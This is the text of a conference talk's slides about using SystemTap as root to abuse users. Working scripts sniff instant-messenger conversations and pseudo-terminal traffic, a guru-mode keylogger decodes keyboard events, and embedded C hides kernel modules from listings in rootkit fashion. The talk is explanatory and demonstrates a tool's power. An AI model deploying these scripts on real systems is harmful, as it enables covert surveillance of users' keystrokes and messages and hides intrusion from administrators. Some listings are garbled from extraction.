BOFH meets SystemTap: rootkits made trivial

Adrien Kunysz adrien@kunysz.be

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Who is Adrien Kunysz?

- Krunch on Freenode
- ▶ I like to look at core files, to read code, to tinker with lower level components and tools (kernel, libc, debuggers,...) and to find potential security implications
- ▶ I have been using SystemTap a lot in the last two years
- ► I am just a happy SystemTap user (not a developer)
- ► I am not a BOFH (really)
- co-founder of FSUGAr (Arlon, Belgium)
- ▶ I am looking for a job :)

Who is the Bastard Operator From Hell?

- supposedly fictional character from Simon Travaglia
- ▶ a Unix Operator who enjoys abusing his users
 - ► listen on communications
 - enforce stupid restrictions
 - **>** ...

What is SystemTap?

According to http://sourceware.org/systemtap/

System Tap provides free software (GPL) infrastructure to simplify the gathering of information about the running Linux system. This assists diagnosis of a performance or functional problem. System Tap eliminates the need for the developer to go through the tedious and disruptive instrument, recompile, install, and reboot sequence that may be otherwise required to collect data.

- ▶ I like to think of it as a system-wide code injection framework
- ▶ with facilities for common tracing/debugging jobs
- ▶ makes it very easy to observe anything about a live system
 - ▶ ...the problem is to figure out what you want to observe
- ▶ you can also change the behaviour of the system

What is this presentation about?

- ▶ the BOFH got a new toy: SystemTap
- no actual breaking of security as he is root already
- ► SystemTap just makes some things much easier
- ► let's see how

Explaining SystemTap

Using SystemTap to abuse users

Conclusion

How does SystemTap work?

- 1. write a script describing what you want to observe (or change)
- 2. stap translates it into a kernel module
- 3. stap loads the module and communicates with it
- 4. just wait for your data

The five stap passes

```
# stap -v test.stp
Pass 1: parsed user script and 38 library script(s) in
    150 usr / 20 sys / 183 real ms.
Pass 2: analyzed script: 1 probe(s), 5 function(s), 14
    embed(s), 0 global(s) in 110 usr/110 sys/242 real ms.
Pass 3: translated to C into
    "/tmp/stapEjEd0T/stap_6455011c477a19ec8c7bbd5ac12a9cd0_13
     in Ousr/Osys/Oreal ms.
Pass 4: compiled C into
    "stap_6455011c477a19ec8c7bbd5ac12a9cd0_13608.ko" in
    1250 usr / 240 sys / 1685 real ms.
Pass 5: starting run.
[...script output goes here...]
Pass 5: run completed in 20usr/30sys/4204real ms.
```

SystemTap probe points examples

SystemTap is all about executing certain actions when hitting certain probe points.

- ▶ syscall.read
 - ▶ when entering read() system call
- ▶ syscall.close.return
 - when returning from the close() system call
- ► module("floppy").function("*")
 - ▶ when entering any function from the "floppy" module
- ► kernel.function("*@net/socket.c").return
 - when returning from any function in file net/socket.c
- ▶ kernel.statement("*@kernel/sched.c:2917")
 - ▶ when hitting line 2917 of file kernel/sched.c

More probe points examples

- ▶ timer.ms(200)
 - ► every 200 milliseconds
- ▶ process("/bin/ls").function("*")
 - when entering any function in /bin/ls (not its libraries or syscalls)
- ▶ process("/lib/libc.so.6").function("*malloc*")
 - when entering any glibc function which has "malloc" in its name
- ▶ kernel.function("*init*"), kernel.function("*exit*").return
 - when entering any kernel function which has "init" in its name or returning from any kernel function which has "exit" in its name

RTFM for more (man stapprobes).

SystemTap programming language

- ► mostly C-style syntax with a feeling of awk
- builtin associative arrays
- builtin aggregates of statistical data
 - very easy to collect data and do statistics on it (average, min, max, count,...)
- many helper functions (builtin and in tapsets)

RTFM: SystemTap Language Reference shipped with SystemTap (langref.pdf)

Some examples of helper functions

```
pid() which process is this?
     uid() which user is running this?
execname() what is the name of this process?
     tid() which thread is this?
gettimeofday_s() epoch time in seconds
probefunc() what function are we in?
print_backtrace() figure out how we ended up here
kernel_string() retrieve string from kernel
user_string() retrieve string from userland
There are many many more. RTFM (man stapfuncs) and explore
/usr/share/systemtap/tapset/.
```

Some cool stap options

- -x instrument only specified PID
- -c run given command and only instrument it and its children
- L list probe points matching given pattern along with available variables
- -F build and load the module then detach (more stealthy)
- -g change things, embed C code in stap script
 - ▶ unsafe, dangerous and fun

Guru mode

- ▶ stap -g
- ▶ allows you to actually change things, not just observe
- ▶ set variables instead of just reading them
- ▶ embed custom C code about anywhere
- ▶ easy to mess up something and cause a crash

Agenda

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Example 1: sniffing IM conversations

```
Listing 1: purplesniff.stp
  probe process ("/usr/lib64/libpurple.so.0")
         . function ("purple_conversation_write")
           printf("<\%s> \%s \ n",
4
                   user_string($who),
                   user_string($message))
6
  This is the function we are instrumenting:
  void purple_conversation_write(
           PurpleConversation *conv,
           const char *who,
           const char *message,
           PurpleMessageFlags flags, time_t mtime)
```

Example 2: eavesdropping on a pseudo terminal

The code we want to instrument:

```
/**
        pty_write
                                          write to a pty
        Otty: the tty we write from
        Obuf: kernel buffer of data
        @count: bytes to write
[\ldots]
static int pty_write(struct tty_struct *tty, const unsigned
     char *buf, int c)
As seen from SystemTap:
# stap -L 'kernel.function("pty_write")'
kernel.function("pty_write@drivers/char/pty.c:112")
   $tty:struct tty_struct* $buf:unsigned char const*
   $c:int $to:struct tty_struct*
```

Example 2 continued: eavesdropping on a pseudo terminal

Listing 2: ptysnoop.stp probe kernel.function("pty_write") { if (kernel_string(\$tty->name) == @1) { printf("%s", kernel_string_n(\$buf, \$c)) } }

Example 3: forbidding access to specific file names

```
# stap -L 'kernel.function("may_open@fs/namei.c").return'
kernel.function("may_open@fs/namei.c:1505").return
$return:int $path:struct path* $acc_mode:int $flag:int
$dentry:struct dentry* $inode:struct inode* $error:int
```

Listing 3: nomp3.stp

Example 4: a keylogger

The function we are going to tap into:

The existing table we are going to use to decode keyboard events:

Ugly lazy way to get access to that table: look up its address from /proc/kallsyms.

Example 4 continued: a keylogger

Listing 4: kbdsniff.stp

```
1 // stap -g kbdsniff.stp 'awk '3^{\sim}/^keys\frac{1}{2}' print"0x"1'
       /proc/kallsyms '
   function decode_key:string (keysaddr:long, val:long) %{
            const char **_keys = (const char**)THIS->keysaddr;
4
                /* from drivers/hid/hid-debug.c */
            const char *key_name = _keys[THIS->val];
6
            strlcpy(THIS->__retvalue, key_name, MAXSTRINGLEN);
   %}
8
   probe kernel.function("kbd_event") {
            if (\$event_type == 1 && \$value == 1) {
10
                    printf("%s\n", decode_key($1, $event_code))
11
12
13
```

Example 5: hiding SystemTap with SystemTap



The modules are listed in a ... list. We just need to temporary remove the modules we want to hide from that list whenever appropriate.

Example 5 continued: hiding SystemTap with SystemTap

```
function move_modules:long (from:long, to:long,
    pattern:string) %{
    static LIST_HEAD(hidden_modules);
    struct\ list\_head\ *from = THIS->from ? (struct
        list_head*)THIS->from : &hidden_modules;
    struct list_head *to = THIS->to ? (struct
        list_head *) THIS->to : &hidden_modules;
    struct module *mod;
    struct module *tmp;
    THIS \rightarrow \_retvalue = 0:
    list_for_each_entry_safe(mod, tmp, from, list) {
             if (!strncmp(mod->name, THIS->pattern,
                strlen(THIS->pattern))) {
                     list_move(&mod->list, to);
                     THIS->__retvalue++:
%}
```

Example 5 continued: hiding SystemTap with SystemTap

```
/* Called by the /proc file system to return a list of
   modules. */
static void *m_start(struct seq_file *m, loff_t *pos)
        mutex_lock(&module_mutex);
        return seq_list_start(&modules, *pos);
We want to move the modules after taking the lock but before
anything has been done with the list:
probe kernel.function(" m_start@kernel/module.c+2") {
        printf("hiding %d modules\n",
            move_modules($modules->next->prev, 0, to_hide))
```

Example 5 continued: hiding SystemTap with SystemTap

References and questions

- ▶ this talk and its examples: http://stapbofh.krunch.be/
- ► SystemTap Beginners Guide: http://sourceware.org/systemtap/SystemTap_Beginners_Guide/
- ► SystemTap wiki: http://sourceware.org/systemtap/wiki
- ▶ lot of excellent documentation included:
 - ▶ man -k stap
 - ► file:///usr/share/doc/systemtap*
- example scripts shipped with SystemTap: http://sourceware.org/systemtap/examples/
- systemtap@sources.redhat.com
- ▶ irc://chat.freenode.net/#systemtap
- ► The Bastard Operator From Hell by Simon Travaglia: http://bofh.ntk.net/BOFH/
- ▶ I am still looking for a job :) adrien@kunysz.be

